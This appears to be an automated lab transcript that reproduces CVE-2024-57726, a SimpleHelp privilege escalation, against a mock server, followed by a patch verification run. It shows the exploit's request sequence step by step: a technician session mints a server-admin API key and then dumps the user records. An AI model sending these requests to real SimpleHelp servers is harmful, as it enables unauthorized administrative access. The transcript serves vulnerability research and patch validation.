═══════════════════════════════════════════════════════════════
 LYRIE AUTONOMOUS LAB RUN — CVE-2024-57726
 LAB ENVIRONMENT — research reproduction — lyrie.ai/research
 Recorded: 2026-04-25T18:22:41Z by Lyrie Agent
═══════════════════════════════════════════════════════════════

$ ./tools/exploit-lab/lab.sh research/CVE-2024-57726

[1/5] Building target container...
      → lyrie-lab/cve-2024-57726:latest

[*] LAB BANNER ─────────────────────────────────────────────
   CVE-2024-57726 — SimpleHelp PrivEsc
   LAB ENVIRONMENT — research reproduction — lyrie.ai/research
─────────────────────────────────────────────────────────────

[2/5] Starting recording...
[mock-simplehelp] VULNERABLE — listening on :8080
[mock-simplehelp] LAB ENVIRONMENT — research reproduction — lyrie.ai/research

[*] waiting for mock SimpleHelp...
[+] target healthy

[*] running CVE-2024-57726 PoC...
┌─────────────────────────────────────────────────────────────┐
│ LYRIE LAB — CVE-2024-57726 (SimpleHelp PrivEsc)             │
│ lyrie.ai/research — research reproduction — LAB ENVIRONMENT │
└─────────────────────────────────────────────────────────────┘

  → POST /api/v1/auth/login           {username: tech1, password: tech1pass}
    ← 200 OK   {role: "technician", session_token: "sess_a3f1..."}

  → POST /api/v1/keys                 X-Session-Token: sess_a3f1...
                                      {scope: "server-admin"}
    ← 200 OK   {api_key: "key_d8e2...", scope: "server-admin",
                issued_to: "tech1", issuer_role: "technician"}     ★ BUG TRIGGERED ★

  → GET  /api/v1/admin/users          X-Api-Key: key_d8e2...
    ← 200 OK   {users: [{username: "tech1", role: "technician"},
                        {username: "admin", role: "server-admin"}]}

✅ Dumped 2 user records as Server Admin
   duration: 23 ms
   evidence: evidence.json

[3/5] Validating evidence...
      → schema OK, success= True
[4/5] Tearing down...
[5/5] Summary:
      Recording: research/CVE-2024-57726/lab-transcript.txt
      Evidence:  research/CVE-2024-57726/evidence.json

✅ Lab run complete — bug reproduced, evidence captured.

──────────────────────────────────────────────────────────────
 PATCH VERIFICATION RUN (mock-simplehelp.py --patched)
──────────────────────────────────────────────────────────────

[mock-simplehelp] PATCHED — listening on :8080

  → POST /api/v1/auth/login           {username: tech1, password: tech1pass}
    ← 200 OK   {role: "technician"}

  → POST /api/v1/keys                 {scope: "server-admin"}
    ← 403 Forbidden  {error: "scope exceeds issuer role",
                      issuer_role: "technician",
                      requested_scope: "server-admin"}            ★ FIX HOLDS ★

❌ Key minting blocked (status=403) — likely PATCHED
   exit: 1 (expected — patch must block this exploit)

──────────────────────────────────────────────────────────────
End of transcript. Replay with: python3 exploit.py --target ...
──────────────────────────────────────────────────────────────
